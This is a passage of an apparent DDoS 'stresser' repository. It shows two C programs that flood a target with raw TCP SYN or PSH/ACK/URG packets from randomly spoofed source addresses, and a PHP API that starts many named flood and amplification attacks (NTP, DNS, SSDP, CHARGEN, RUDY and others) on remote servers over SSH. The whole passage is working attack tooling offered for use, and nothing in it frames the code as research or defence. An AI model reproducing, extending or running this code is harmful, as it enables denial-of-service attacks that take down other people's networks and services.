 68 | 	unsigned short *tcp = malloc(totaltcp_len);
 69 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 70 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 71 | 	unsigned short output = csum(tcp,totaltcp_len);
 72 | 	free(tcp);
 73 | 	return output;
 74 | }
 75 | 
 76 | void setup_ip_header(struct iphdr *iph)
 77 | {
 78 |         char ip[17];
 79 |         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
 80 | 	iph->ihl = 5;
 81 | 	iph->version = 4;
 82 | 	iph->tos = 0;
 83 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 84 | 	iph->id = htonl(rand()%54321);
 85 | 	iph->frag_off = 0;
 86 | 	iph->ttl = MAXTTL;
 87 | 	iph->protocol = 6;
 88 | 	iph->check = 0;
 89 | 	iph->saddr = inet_addr(ip);
 90 | }
 91 | 
 92 | void setup_tcp_header(struct tcphdr *tcph)
 93 | {
 94 | 	tcph->source = htons(rand()%65535);
 95 | 	tcph->seq = rand();
 96 | 	tcph->ack_seq = 0;
 97 | 	tcph->res2 = 0;
 98 | 	tcph->doff = 5;
 99 | 	tcph->syn = 1;
100 | 	tcph->window = htonl(65535);
101 | 	tcph->check = 0;
102 | 	tcph->urg_ptr = 0;
103 | }
104 | 
105 | void *flood(void *par1)
106 | {
107 | 	char *td = (char *)par1;
108 | 	char datagram[MAX_PACKET_SIZE];
109 | 	struct iphdr *iph = (struct iphdr *)datagram;
110 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
111 | 	
112 | 	struct sockaddr_in sin;
113 | 	sin.sin_family = AF_INET;
114 | 	sin.sin_port = htons(floodport);
115 | 	sin.sin_addr.s_addr = inet_addr(td);
116 | 
117 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
118 | 	if(s < 0){
119 | 		fprintf(stderr, "Could not open raw socket.\n");
120 | 		exit(-1);
121 | 	}
122 | 	memset(datagram, 0, MAX_PACKET_SIZE);
123 | 	setup_ip_header(iph);
124 | 	setup_tcp_header(tcph);
125 | 
126 | 	tcph->dest = htons(floodport);
127 | 
128 | 	iph->daddr = sin.sin_addr.s_addr;
129 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
130 | 
131 | 	int tmp = 1;
132 | 	const int *val = &tmp;
133 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
134 | 		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
135 | 		exit(-1);
136 | 	}
137 | 
138 | 	init_rand(time(NULL));
139 | 	register unsigned int i;
140 | 	i = 0;
141 | 	while(1){
142 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
143 | 		setup_ip_header(iph);
144 | 		setup_tcp_header(tcph);
145 | 		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
146 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
147 | 
148 | 
149 | 		tcph->dest = htons(floodport);
150 | 
151 | 		iph->daddr = sin.sin_addr.s_addr;
152 | 
153 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
154 | 		tcph->seq = rand_cmwc() & 0xFFFF;
155 | 		tcph->source = htons(rand_cmwc() & 0xFFFF);
156 | 		tcph->check = 0;
157 | 		tcph->check = tcpcsum(iph, tcph);
158 | 		
159 | 		pps++;
160 | 		if(i >= limiter)
161 | 		{
162 | 			i = 0;
163 | 			usleep(sleeptime);
164 | 		}
165 | 		i++;
166 | 	}
167 | }
168 | int main(int argc, char *argv[ ])
169 | {
170 | 	if(argc < 6){
171 | 		fprintf(stderr, "Invalid parameters!\n");
172 | 		fprintf(stdout, "SSYN Flooder by LSDEV\nImproved by Starfall\nUsage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
173 | 		exit(-1);
174 | 	}
175 |         srand(time(0));
176 | 	fprintf(stdout, "Tank: So what do you need? Besides a miracle.\nNeo: Packets. Lots of packets.\n");
177 | 
178 | 	int num_threads = atoi(argv[3]);
179 | 	floodport = atoi(argv[2]);
180 | 	int maxpps = atoi(argv[4]);
181 | 	limiter = 0;
182 | 	pps = 0;
183 | 	pthread_t thread[num_threads];
184 | 	
185 | 	int multiplier = 20;
186 | 
187 | 	int i;
188 | 	for(i = 0;i<num_threads;i++){
189 | 		pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
190 | 	}
191 | 	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
192 | 	{
193 | 		usleep((1000/multiplier)*1000);
194 | 		if((pps*multiplier) > maxpps)
195 | 		{
196 | 			if(1 > limiter)
197 | 			{
198 | 				sleeptime+=100;
199 | 			} else {
200 | 				limiter--;
201 | 			}
202 | 		} else {
203 | 			limiter++;
204 | 			if(sleeptime > 25)
205 | 			{
206 | 				sleeptime-=25;
207 | 			} else {
208 | 				sleeptime = 0;
209 | 			}
210 | 		}
211 | 		pps = 0;
212 | 	}
213 | 
214 | 	return 0;
215 | }


--------------------------------------------------------------------------------
/Stresser/ZAP/zap_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | 
 21 | #define MAX_PACKET_SIZE 4096
 22 | #define PHI 0x9e3779b9
 23 | 
 24 | static unsigned long int Q[4096], c = 362436;
 25 | static unsigned int floodport;
 26 | volatile int limiter;
 27 | volatile unsigned int pps;
 28 | volatile unsigned int sleeptime = 100;
 29 | 
 30 | void init_rand(unsigned long int x)
 31 | {
 32 | 	int i;
 33 | 	Q[0] = x;
 34 | 	Q[1] = x + PHI;
 35 | 	Q[2] = x + PHI + PHI;
 36 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 37 | }
 38 | unsigned long int rand_cmwc(void)
 39 | {
 40 | 	unsigned long long int t, a = 18782LL;
 41 | 	static unsigned long int i = 4095;
 42 | 	unsigned long int x, r = 0xfffffffe;
 43 | 	i = (i + 1) & 4095;
 44 | 	t = a * Q[i] + c;
 45 | 	c = (t >> 32);
 46 | 	x = t + c;
 47 | 	if (x < c) {
 48 | 		x++;
 49 | 		c++;
 50 | 	}
 51 | 	return (Q[i] = r - x);
 52 | }
 53 | unsigned short csum (unsigned short *buf, int count)
 54 | {
 55 | 	register unsigned long sum = 0;
 56 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 57 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 58 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 59 | 	return (unsigned short)(~sum);
 60 | }
 61 | 
 62 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 63 | 
 64 | 	struct tcp_pseudo
 65 | 	{
 66 | 		unsigned long src_addr;
 67 | 		unsigned long dst_addr;
 68 | 		unsigned char zero;
 69 | 		unsigned char proto;
 70 | 		unsigned short length;
 71 | 	} pseudohead;
 72 | 	unsigned short total_len = iph->tot_len;
 73 | 	pseudohead.src_addr=iph->saddr;
 74 | 	pseudohead.dst_addr=iph->daddr;
 75 | 	pseudohead.zero=0;
 76 | 	pseudohead.proto=IPPROTO_TCP;
 77 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 78 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 79 | 	unsigned short *tcp = malloc(totaltcp_len);
 80 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 81 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 82 | 	unsigned short output = csum(tcp,totaltcp_len);
 83 | 	free(tcp);
 84 | 	return output;
 85 | }
 86 | 
 87 | void setup_ip_header(struct iphdr *iph)
 88 | {
 89 | 	iph->ihl = 5;
 90 | 	iph->version = 4;
 91 | 	iph->tos = 0;
 92 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 93 | 	iph->id = htonl(54321);
 94 | 	iph->frag_off = 0;
 95 | 	iph->ttl = MAXTTL;
 96 | 	iph->protocol = 6;
 97 | 	iph->check = 0;
 98 | 	iph->saddr = inet_addr("192.168.3.100");
 99 | }
100 | 
101 | void setup_tcp_header(struct tcphdr *tcph)
102 | {
103 | 	tcph->source = htons(5678);
104 | 	tcph->seq = rand();
105 | 	tcph->ack_seq = rand();
106 | 	tcph->res2 = 0;
107 | 	tcph->doff = 5;
108 | 	tcph->psh = 1;
109 | 	tcph->ack = 1;
110 | 	tcph->urg = 1;
111 | 	tcph->window = rand();
112 | 	tcph->check = 0;
113 | 	tcph->urg_ptr = 0;
114 | }
115 | 
116 | void *flood(void *par1)
117 | {
118 | 	char *td = (char *)par1;
119 | 	char datagram[MAX_PACKET_SIZE];
120 | 	struct iphdr *iph = (struct iphdr *)datagram;
121 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
122 | 	
123 | 	struct sockaddr_in sin;
124 | 	sin.sin_family = AF_INET;
125 | 	sin.sin_port = htons(floodport);
126 | 	sin.sin_addr.s_addr = inet_addr(td);
127 | 
128 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
129 | 	if(s < 0){
130 | 		fprintf(stderr, "Could not open raw socket.\n");
131 | 		exit(-1);
132 | 	}
133 | 	memset(datagram, 0, MAX_PACKET_SIZE);
134 | 	setup_ip_header(iph);
135 | 	setup_tcp_header(tcph);
136 | 
137 | 	tcph->dest = htons(floodport);
138 | 
139 | 	iph->daddr = sin.sin_addr.s_addr;
140 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
141 | 
142 | 	int tmp = 1;
143 | 	const int *val = &tmp;
144 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
145 | 		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
146 | 		exit(-1);
147 | 	}
148 | 
149 | 	init_rand(time(NULL));
150 | 	register unsigned int i;
151 | 	i = 0;
152 | 	while(1){
153 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
154 | 
155 | 		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
156 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
157 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
158 | 		tcph->seq = rand_cmwc() & 0xFFFF;
159 | 		tcph->source = htons(rand_cmwc() & 0xFFFF);
160 | 		tcph->check = 0;
161 | 		tcph->check = tcpcsum(iph, tcph);
162 | 		
163 | 		pps++;
164 | 		if(i >= limiter)
165 | 		{
166 | 			i = 0;
167 | 			usleep(sleeptime);
168 | 		}
169 | 		i++;
170 | 	}
171 | }
172 | int main(int argc, char *argv[ ])
173 | {
174 | 	if(argc < 6){
175 | 		fprintf(stderr, "Invalid parameters!\n");
176 | 		fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
177 | 		exit(-1);
178 | 	}
179 | 
180 | 	fprintf(stdout, "Setting up Sockets...\n");
181 | 
182 | 	int num_threads = atoi(argv[3]);
183 | 	floodport = atoi(argv[2]);
184 | 	int maxpps = atoi(argv[4]);
185 | 	limiter = 0;
186 | 	pps = 0;
187 | 	pthread_t thread[num_threads];
188 | 	
189 | 	int multiplier = 20;
190 | 
191 | 	int i;
192 | 	for(i = 0;i<num_threads;i++){
193 | 		pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
194 | 	}
195 | 	fprintf(stdout, "Starting Flood...\n");
196 | 	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
197 | 	{
198 | 		usleep((1000/multiplier)*1000);
199 | 		if((pps*multiplier) > maxpps)
200 | 		{
201 | 			if(1 > limiter)
202 | 			{
203 | 				sleeptime+=100;
204 | 			} else {
205 | 				limiter--;
206 | 			}
207 | 		} else {
208 | 			limiter++;
209 | 			if(sleeptime > 25)
210 | 			{
211 | 				sleeptime-=25;
212 | 			} else {
213 | 				sleeptime = 0;
214 | 			}
215 | 		}
216 | 		pps = 0;
217 | 	}
218 | 
219 | 	return 0;
220 | }


--------------------------------------------------------------------------------
/Stresser/ddos_api.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 | if (!function_exists('ssh2_connect'))
 3 | {
 4 |         die("Install ssh2 module.\n");
 5 | }
 6 | if ($_GET['key'] != "api-key-goes-here"){
 7 | die("Go Fuck Yourself.");
 8 | }
 9 | if (isset($_GET['host'], $_GET['port'], $_GET['time'], $_GET['method'])) {
10 |         $SERVERS = array(
11 |                 "server-ip-goes-here"       =>      array("root", "root-password-goes-here")
12 |                 );
13 |         class ssh2 {
14 |                 var $connection;
15 |                 function __construct($host, $user, $pass) {
16 |                         if (!$this->connection = ssh2_connect($host, 22))
17 |                                 throw new Exception("Error connecting to server");
18 |                         if (!ssh2_auth_password($this->connection, $user, $pass))
19 |                                 throw new Exception("Error with login credentials");
20 |                 }
21 | 
22 |                 function exec($cmd) {
23 |                         if (!ssh2_exec($this->connection, $cmd))
24 |                                 throw new Exception("Error executing command: $cmd");
25 | 
26 |                         ssh2_exec($this->connection, 'exit');
27 |                         unset($this->connection);
28 |                 }
29 |         }
30 |         $port = (int)$_GET['port'] > 0 && (int)$_GET['port'] < 65536 ? $_GET['port'] : 80;
31 |         $port = preg_replace('/\D/', '', $port);
32 |         $ip = preg_match('/^[a-zA-Z0-9\.-_]+$/', $_GET['host']) ? $_GET['host'] : die();
33 |         $time = (int)$_GET['time'] > 0 && (int)$_GET['time'] < (60*60) ? (int)$_GET['time'] : 30;
34 |         $time = preg_replace('/\D/', '', $time);
35 |         $domain = $_GET['host'];
36 |         if(!filter_var($domain, FILTER_VALIDATE_URL) && !filter_var($domain, FILTER_VALIDATE_IP))
37 |         {
38 |             die("Invalid Domain");
39 |         }
40 |         $smIP = str_replace(".", "", $ip);
41 |         $smDomain = str_replace(".", "", $domain);
42 |         $smDomain = str_replace("http://", "", $smDomain);
43 | 	if($_GET['method'] == "UDP") { $command = "screen -dmS {$smIP} ./udp {$ip} {$port} 1 500 3 {$time}"; }
44 |         elseif($_GET['method'] == "DOMINATE") { $command = "screen -dmS {$smIP} ./dominate {$ip} {$port} 3 -1 {$time}"; }
45 |         elseif($_GET['method'] == "SSYN") { $command = "screen -dmS {$smIP} ./ssyn {$ip} {$port} 3 {$time}"; }
46 |         elseif($_GET['method'] == "XSYN") { $command = "screen -dmS {$smIP} ./xsyn {$ip} {$port} 3 {$time}"; }
47 |         elseif($_GET['method'] == "SSDP") { $command = "screen -dmS {$smIP} ./ssdp {$ip} {$port} ssdp_amp.txt 3 {$time}"; }
48 |         elseif($_GET['method'] == "CHARGEN") { $command = "screen -dmS {$smIP} ./chargen {$ip} {$port} chargen_amp.txt 8 -1 {$time}"; }
49 |         elseif($_GET['method'] == "TS3") { $command = "screen -dmS {$smIP} ./ts3 {$ip} {$port} ts3_amp.txt 3 {$time}"; }
50 |         elseif($_GET['method'] == "NTP") { $command = "screen -dmS {$smIP} ./ntp {$ip} {$port} ntp_amp.txt 3 {$time}"; }
51 | 	    elseif($_GET['method'] == "MSSQL") { $command = "screen -dmS {$smIP} ./MSSQL {$ip} {$port} mssql_amp.txt 8 {$time}"; }
52 | 	    elseif($_GET['method'] == "QOTD") { $command = "screen -dmS {$smIP} ./qotd {$ip} {$port} qotd_amp.txt -1 8 {$time}"; }
53 | 	    elseif($_GET['method'] == "MDNS") { $command = "screen -dmS {$smIP} ./mdns {$ip} {$port} mdns_amp.txt 3 {$time}"; }
54 | 		elseif($_GET['method'] == "NETBIOS") { $command = "screen -dmS {$smIP} ./netbios {$ip} {$port} netbios_amp.txt 3 {$time}"; }
55 | 		elseif($_GET['method'] == "HEARTBLEED") { $command = "screen -dmS {$smIP} ./heartbleed {$ip} {$port} hb_amp.txt 8 -1 {$time}"; }
56 | 		elseif($_GET['method'] == "VSE") { $command = "screen -dmS {$smIP} ./vse {$ip} 3 -1 {$time}"; }
57 | 	    elseif($_GET['method'] == "RUDY") { $command = "screen -dmS {$smIP} ./rudy {$ip} 1 8 {$time} proxies.txt 0"; }
58 | 	    elseif($_GET['method'] == "SYN") { $command = "screen -dmS {$smIP} ./syn {$ip} {$port} {$time}"; }
59 | 	    elseif($_GET['method'] == "DNS") { $command = "screen -dmS {$smIP} ./DNS {$ip} {$port} dns_amp.txt {$time}"; }
60 | 	    elseif($_GET['method'] == "QUAKE") { $command = "screen -dmS {$smIP} ./quake {$ip} {$port} quake_amp.txt 8 {$time}"; }
61 | 	    elseif($_GET['method'] == "SLOW") { $command = "screen -dmS {$smIP} ./slow {$ip} 8 proxies.txt {$time} 0"; }
62 | 	    elseif($_GET['method'] == "ESSYN") { $command = "screen -dmS {$smIP} ./essyn {$ip} {$ip} {$port} 8 -1 {$time}"; }
63 |         elseif($_GET['method'] == "STOP") { $command = "screen -X -s {$smIP} quit"; }
64 |         else die();
65 |         foreach ($SERVERS as $server=>$credentials) {
66 |                 $disposable = new ssh2($server, $credentials[0], $credentials[1]);
67 |                 $disposable->exec($command);
68 | }
69 | }
70 | ?>


--------------------------------------------------------------------------------